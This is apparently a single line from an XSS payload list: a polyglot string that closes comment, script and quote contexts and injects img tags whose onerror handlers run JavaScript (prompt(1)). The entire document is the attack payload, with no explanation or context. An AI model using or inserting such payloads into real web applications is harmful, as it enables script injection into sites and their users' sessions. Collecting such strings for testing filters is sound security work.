/*<!--*/</script>'">\/\x3cimg src=x onerror=prompt(1);><img src=x onerror=prompt(1)